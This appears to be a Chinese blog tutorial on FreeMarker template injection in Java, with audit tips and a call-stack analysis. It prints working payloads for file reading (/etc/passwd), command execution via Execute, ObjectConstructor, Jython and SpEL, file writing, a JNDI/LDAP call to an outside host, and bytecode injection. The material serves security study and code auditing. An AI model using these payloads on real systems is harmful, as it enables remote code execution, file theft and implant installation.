Java安全之freemaker模版注入

freemaker简介

FreeMarker 是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 在线手册:http://freemarker.foofun.cn/

模板文件存放在Web服务器上,当访问指定模版文件时, FreeMarker会动态转换模板,用最新的数据内容替换模板中 ${...}的部分,然后返回渲染结果。

freemaker中的一些概念:

  • ${...}: FreeMarker将会输出真实的值来替换大括号内的表达式,这样的表达式被称为 interpolation(插值)

  • FTL 标签 (FreeMarker模板的语言标签): FTL标签和HTML标签有一些相似之处,但是它们是FreeMarker的指令,是不会在输出中打印的。 这些标签的名字以 # 开头。(用户自定义的FTL标签则需要使用 @ 来代替 #,但这属于更高级的话题了。)

  • 注释: 注释和HTML的注释也很相似, 但是它们使用 <#-- and --> 来标识。 不像HTML注释那样,FTL注释不会出现在输出中(不出现在访问者的页面中), 因为 FreeMarker会跳过它们。

其他任何不是FTL标签,插值或注释的内容将被视为静态文本, 这些东西不会被FreeMarker所解析;会被按照原样输出出来。

freemaker中的一些指令:http://freemarker.foofun.cn/dgui_quickstart_template.html

一般漏洞常位于后台可以编辑模版的地方,通过插入恶意的ftl指令到ftl文件中,当后端再次return或者process时即可触发代码执行。

主要代码

Configuration cfg = new Configuration();
cfg.setAPIBuiltinEnabled(true); // 开启api
StringTemplateLoader stringLoader = new StringTemplateLoader();
stringLoader.putTemplate("myTemplate",templateContent);
cfg.setTemplateLoader(stringLoader);
Template template = cfg.getTemplate("myTemplate","utf-8");
Map root = new HashMap();
root.put("data",data); StringWriter writer = new StringWriter();
template.process(root,writer); //*
return writer.toString();

利用方式

api

这些内建函数从 FreeMarker 2.3.22 版本开始存在。

通过它可以访问底层Java Api Freemarker的BeanWrappers。这个内置函数默认不开启,但通过Configurable.setAPIBuiltinEnabled可以开启它。

如果value本身支持这个额外的特性, value?api 提供访问 value API (通常是 Java API),比如 value?api.someJavaMethod(), 当需要调用对象的Java方法时。

poc

 <#assign classLoader=object?api.class.protectionDomain.classLoader>
eg1:// 未测试成功
<#assign classLoader=object?api.class.getClassLoader()>
${classLoader.loadClass("our.desired.class")} eg2: 任意文件读
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
eg3:
<#assign is=object?api.class.getResourceAsStream("/etc/passwd")>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
eg4:
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
eg5:获取classLoader
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("calc")}

New

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>//@value为自定义标签

针对new的利用方式,官方提供的一种限制方式——使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver) 或设置 new_builtin_class_resolver 来限制这个内建函数对类的访问。此处官方提供了三个预定义的解析器(从 2.3.17版开始)。:

  • UNRESTRICTED_RESOLVER:简单地调用ClassUtil.forName(String)
  • SAFER_RESOLVER:和第一个类似,但禁止解析ObjectConstructorExecutefreemarker.template.utility.JythonRuntime
  • ALLOWS_NOTHING_RESOLVER:禁止解析任何类。

写文件

${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileWriter","/tmp/hh.txt").append("<>").close()}

SpEL

// 命令执行
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc\")").getValue()} // JNDI
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("new+javax.management.remote.rmi.RMIConnector(new+javax.management.remote.JMXServiceURL(\"service:jmx:rmi:///jndi/ldap://172.16.4.1:1389/Basic/Command\"),new+java.util.Hashtable()).connect()").getValue()} // 加载字节码
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringInterceptor',T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADQA5。。。\"),new+javax.management.loading.MLet(new+java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()").getValue()}

分析

先会通过StringTemplateLoader#putTemplate将我们输入的模版hello.ftl存放在StringTemplateLoader类中templates属性

 @RequestMapping(value = "/template", method =  RequestMethod.POST)
public String template(@RequestBody Map<String,String> templates) throws IOException {
StringTemplateLoader stringLoader = new StringTemplateLoader();
for(String templateKey : templates.keySet()){
stringLoader.putTemplate(templateKey, templates.get(templateKey));
}
con.setTemplateLoader(new MultiTemplateLoader(new TemplateLoader[]{stringLoader,
con.getTemplateLoader()}));
con.setAPIBuiltinEnabled(true);
return "index";
}

之后将上面加载恶意模版的StringTemplateLoader通过Configuration#setTemplateLoader添加到cache中

之后通过return hello会去调用我们添加的恶意模版(当然这里是demo代码,)

后面部分依然走的SpringMVC工作流程,return modelandview的时候SpringMVC会去找对应的视图解析器来解析渲染模版并返回视图到前端

堆栈如下:

doRender:285, FreeMarkerView (org.springframework.web.servlet.view.freemarker)
renderMergedTemplateModel:235, FreeMarkerView (org.springframework.web.servlet.view.freemarker)
renderMergedOutputModel:167, AbstractTemplateView (org.springframework.web.servlet.view)
render:303, AbstractView (org.springframework.web.servlet.view)
render:1286, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1041, DispatcherServlet (org.springframework.web.servlet)
doDispatch:984, DispatcherServlet (org.springframework.web.servlet)
doService:901, DispatcherServlet (org.springframework.web.servlet)
processRequest:970, FrameworkServlet (org.springframework.web.servlet)
doPost:872, FrameworkServlet (org.springframework.web.servlet)
service:661, HttpServlet (javax.servlet.http)
service:846, FrameworkServlet (org.springframework.web.servlet)
service:742, HttpServlet (javax.servlet.http)

这里直接跟到freemaker里面看freemaker的处理,跟进FreeMarkerView#doRender方法

这里首先通过gettemplate()获取到我们之前构造的恶意模版

   protected void processTemplate(Template template, SimpleHash model, HttpServletResponse response) throws IOException, TemplateException {
template.process(model, response.getWriter());
}

之后在processTemplate调用Template#process,通过visit方法解析ftl指令触发代码执行

freemarker.template.utility.Execute#exec()下断点看下调用,在visit之后主要是通过_eval来执行的ftl指令

_eval是抽象方法,对应的实现有很多,而freemarker.template.utility.Execute对应的是MethodCall中的实现

调用targetMethod中的exec方法

命令执行

最近遇到的freemaker比较多,这次主要是多了解一下freemaker的利用和审计时需要注意的点,主要是注意有没有freemaker的特征或者ftl

审计时就需要看编辑模版的地方有没有StringTemplateLoader#putTemplatereturn此模版或者Template#process去解析的,大概里就会存在freemaker的模版注入。

关于builtin function中的api还是没有很理解,感觉会能玩出很多花活

Reference

https://www.cnblogs.com/nice0e3/p/16217471.html

http://freemarker.foofun.cn/

http://freemarker.foofun.cn/ref_builtins_expert.html

https://xz.aliyun.com/t/4846

https://dem0dem0.top/2022/06/10/freemarker初探/

https://www.anquanke.com/post/id/215348

https://www.cnblogs.com/bmjoker/p/13508538.html

https://github.com/achuna33/Memoryshell-JavaALL

Java安全之freemaker模版注入的更多相关文章

  1. Java安全之Velocity模版注入

    Java安全之Velocity模版注入 Apache Velocity Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象.它允许web 页 ...

  2. 服务端模版注入漏洞检测payload整理

    服务端模版注入漏洞产生的根源是将用户输入的数据被模版引擎解析渲染可能导致代码执行漏洞 下表涵盖了java,php,python,javascript语言中可能使用到的模版引擎,如果网站存在服务端模版注 ...

  3. Java使用IText(VM模版)导出PDF

    Java使用IText(VM模版)导出PDF: public String createPDF(ProjectManageBase projectManageBase) { Map map = new ...

  4. python-Flask模版注入攻击SSTI(python沙盒逃逸)

    一篇以python Flask 模版渲染为例子的SSTI注入教学~ 0x01 Flask使用和渲染 这里简化了flask使用和渲染的教程 只把在安全中我们需要关注的部分写出来 来一段最简单的FLASK ...

  5. Java 控制反转和依赖注入模式【翻译】【整理】

    Inversion of Control Containers and the Dependency Injection pattern --Martin Fowler 本文内容 Component ...

  6. java控制反转与依赖注入

    1.简介 依赖注入和控制反转,目的是为了使类与类之间解耦合,提高系统的可扩展性和可维护性,下面通过一个例子来引入这一概念. 2.案例 1)一般情况下的类耦合 Main.java public clas ...

  7. 使用Java原生代理实现数据注入

    本文由博主原创,转载请注明出处 完整源码下载地址 https://github.com/MatrixSeven/JavaAOP 上一篇,咱们说了使用Java原生代理实现AOP的简单例子,然么就不得不说 ...

  8. JAVA入门[3]—Spring依赖注入

    Spring支持属性注入和构造器注入,它支持XML和注解两种方式.本文介绍Spring控制反转容器加载包含beans的XML文件,实现依赖注入. 一.创建bean实例 暂且抛开对象依赖,我们先看下如何 ...

  9. Java 扫描实现 Ioc 动态注入,过滤器根据访问url调用自定义注解标记的类及其方法

    扫描实现 Ioc 动态注入 参考: http://www.private-blog.com/2017/11/16/java-%e6%89%ab%e6%8f%8f%e5%ae%9e%e7%8e%b0-i ...

随机推荐

  1. 使用Tapdata一步搞定关系型数据库到MongoDB的战略迁移

      摘要:数据库作为最关键的基础设施,随着互联网时代的信息高速增长,关系型数据库因其高门槛.高成本以及扩展性差等原因导致的局限性逐渐浮出水面,如今更是面临诸多问题和挑战,Tapdata 专注新一代实时 ...

  2. CSS 盒子模型(一)

    CSS 盒子模型(一) 本人在校学生,主学后端,后来发现前端的基础都忘得差不多了才想着写文章回来复习!欢迎留言交流. 什么是盒子呢? 拿下举例,我们可以把每个红框都比作一个盒子,他们可以是任意的 HT ...

  3. 等待唤醒机制代码实现_包子类&包子铺类和等待唤醒机制代码实现_吃货类&测试类

    资源类:包子类 设置包子的属性 皮 陷 包子的状态:有 true 没有 false public class BaoZi { //皮 String pi; //陷 String xian; //包子的 ...

  4. “杀死” App 上的疑难崩溃

    在移动应用性能方面,崩溃带来的影响是最为严重的,程序崩了可以打断用户正在进行的操作体验,造成关键业务中断.用户留存率下降.品牌口碑变差.生命周期价值下降等影响.很多公司将崩溃率作为优先级最高的技术指标 ...

  5. 基于Caffe ResNet-50网络实现图片分类(仅推理)的实验复现

    摘要:本实验主要是以基于Caffe ResNet-50网络实现图片分类(仅推理)为例,学习如何在已经具备预训练模型的情况下,将该模型部署到昇腾AI处理器上进行推理. 本文分享自华为云社区<[CA ...

  6. ASP.NET Core 6框架揭秘实例演示[31]:路由&ldquo;高阶&rdquo;用法

    ASP.NET的路由是通过EndpointRoutingMiddleware和EndpointMiddleware这两个中间件协作完成的,它们在ASP.NET平台上具有举足轻重的地位,MVC和gRPC ...

  7. 学习与尝试 --> 事件风暴

    事件风暴 1. 基础概念 术语 执行者 -----> 是指执行的角色,系统的主体,是导致系统状态变化的触发源 人员,系统的用户,操作人员等 系统,系统本身执行的,或者调度的,自动触发的 ,第三方 ...

  8. 宜宾市黑烟车电子抓拍系统App

    2020.11 - 2021.06负责手机App开发 项目说明:    主要用于管理人员的移动办公,通过与管理平台共享数据库,实现:人工审核.推送交警.账户管理.信息查询.数据统计.点位电子地图.设备 ...

  9. C++11实现可变参数泛型抽象工厂

  10. python-GUI键盘小工具

    一.tkinter  GUI界面 二.实现功能 连接设备.设备上电.设备使能.键盘按键控制关节移动.配置关节移动速度和角度 三.python源码 1 #coding=utf-8 2 import ms ...